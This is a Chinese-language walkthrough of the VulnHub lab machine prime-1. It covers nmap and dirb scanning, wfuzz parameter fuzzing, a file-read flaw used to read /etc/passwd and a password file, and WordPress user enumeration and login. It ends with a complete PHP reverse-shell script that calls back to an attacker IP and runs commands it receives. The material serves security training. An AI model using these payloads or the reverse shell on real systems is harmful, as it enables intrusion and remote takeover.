渗透测试靶机 prime-1

下载镜像：https://www.vulnhub.com/entry/prime-1,358/

从VMware打开虚拟机，prime-1如下图

网络适配器为NAT模式，可以直接点击右上角的图标，获取ip地址信息，也可以使用nmap进行扫描

nmap -sP 192.168.87.1/24 (P：ping 、24：c类地址)，虚拟网络编辑器中可以知道NAT模式的子网是多少

扫描端口，找到对应的服务信息，nmap -p 1-65535 -A 192.168.87.152

可以知道只有22(ssh)，80(http)端口开放

知道了ip，可以尝试进行访问，发现如下页面

可以从此页面收集一些有关信息，如页面源代码、扫描目录、cms指纹信息、版本信息等

御剑扫描目录：

dirb扫描（man dirb了解扫描的参数方法）

common.txt字典还不错，可以下载到本地windows,(可以copy粘贴到桌面，也可以使用sz file 文件名)

尝试访问/dev文件，也可以curl x.x.x.x/dev

尝试添加一些dirb参数，-X 指定一些关键后缀名：dirb http://192.168.87.152 -X .txt,.php,.zip

扫描到了3个文件，可以尝试访问一下

fuzz模糊测试，测试一下php文件参数

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.87.152/index.php?FUZZ

找不一样的返回值，为正确值

过滤words单词数为12的，--hw 12 （wfuzz -h ）

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://192.168.87.152/index.php?FUZZ

知道参数为：index.php?file , 思考：是否存在文件读取漏洞？

根据前面得到的location.txt ，尝试访问：http://192.168.87.152/index.php?file=location.txt

获得正确参数secrettier360，访问：http://192.168.87.152/image.php?secrettier360

尝试读取敏感文件信息，如：/etc/passwd, http://192.168.87.152/image.php?secrettier360=/etc/passwd

发现提示信息，password.txt 在/home/saket目录下

利用文件读取，获取密码信息

尝试登录22号端口ssh服务，ssh -p 22 victor@192.168.87.152, 发现密码不对

接着，往80端口的http服务wordpress方向进行

可以使用cmseek 扫描版本，也可以使用wpscan

wpscan --url http://192.168.87.152/wordpress/ --enumerate u

获取到用户名为victor,当然wordpress页面也有，登录WordPress，用户名：victor ，密码：follow_the_ippsec

看能否找到可以写入php代码的地方，上传一句话木马

找到了，但是出于考虑这里用反弹shell的方式(因为不知道靶机的环境，如内网、防火墙、动态ip、杀毒软件)

可以找一些php反弹shell的代码，也可以用msf生成反弹shell的payload

点击查看代码

<?php` 
`error_reporting (E_ERROR);`
`ignore_user_abort(true);`
`ini_set('max_execution_time',0);`
`$os = substr(PHP_OS,0,3);`
`$ipaddr = '192.168.87.128';`
`$port = '6666';`
`$descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));`
`$cwd = getcwd();`
`$msg = php_uname()."\n------------Code by Spider-------------\n";`
`if($os == 'WIN') {`
    `$env = array('path' => 'c:\\windows\\system32');`
`} else {`
    `$env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');`
`}`

`if(function_exists('fsockopen')) {`
    `$sock = fsockopen($ipaddr,$port);`
    `fwrite($sock,$msg);`
    `while ($cmd = fread($sock,1024)) {`
        `if (substr($cmd,0,3) == 'cd ') {`
            `$cwd = trim(substr($cmd,3,-1));`
            `chdir($cwd);`
            `$cwd = getcwd();`
        `}`
        `if (trim(strtolower($cmd)) == 'exit') {`
            `break;`
        `} else {`
            `$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);`
            `if (is_resource($process)) {`
                `fwrite($pipes[0],$cmd);`
                `fclose($pipes[0]);`
                `$msg = stream_get_contents($pipes[1]);`
                `fwrite($sock,$msg);`
                `fclose($pipes[1]);`
                `$msg = stream_get_contents($pipes[2]);`
                `fwrite($sock,$msg);`
                `fclose($pipes[2]);`
                `proc_close($process);`
            `}`
        `}`
    `}`
    `fclose($sock);`
`} else {`
    `$sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);`
    `socket_connect($sock,$ipaddr,$port);`
    `socket_write($sock,$msg);`
    `fwrite($sock,$msg);`
    `while ($cmd = socket_read($sock,1024)) {`
        `if (substr($cmd,0,3) == 'cd ') {`
            `$cwd = trim(substr($cmd,3,-1));`
            `chdir($cwd);`
            `$cwd = getcwd();`
        `}`
        `if (trim(strtolower($cmd)) == 'exit') {`
            `break;`
        `} else {`
            `$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);`
            `if (is_resource($process)) {`
                `fwrite($pipes[0],$cmd);`
                `fclose($pipes[0]);`
                `$msg = stream_get_contents($pipes[1]);`
                `socket_write($sock,$msg,strlen($msg));`
                `fclose($pipes[1]);`
                `$msg = stream_get_contents($pipes[2]);`
                `socket_write($sock,$msg,strlen($msg));`
                `fclose($pipes[2]);`
                `proc_close($process);`
            `}`
        `}`
    `}`
    `socket_close($sock);`
`}`
`?>`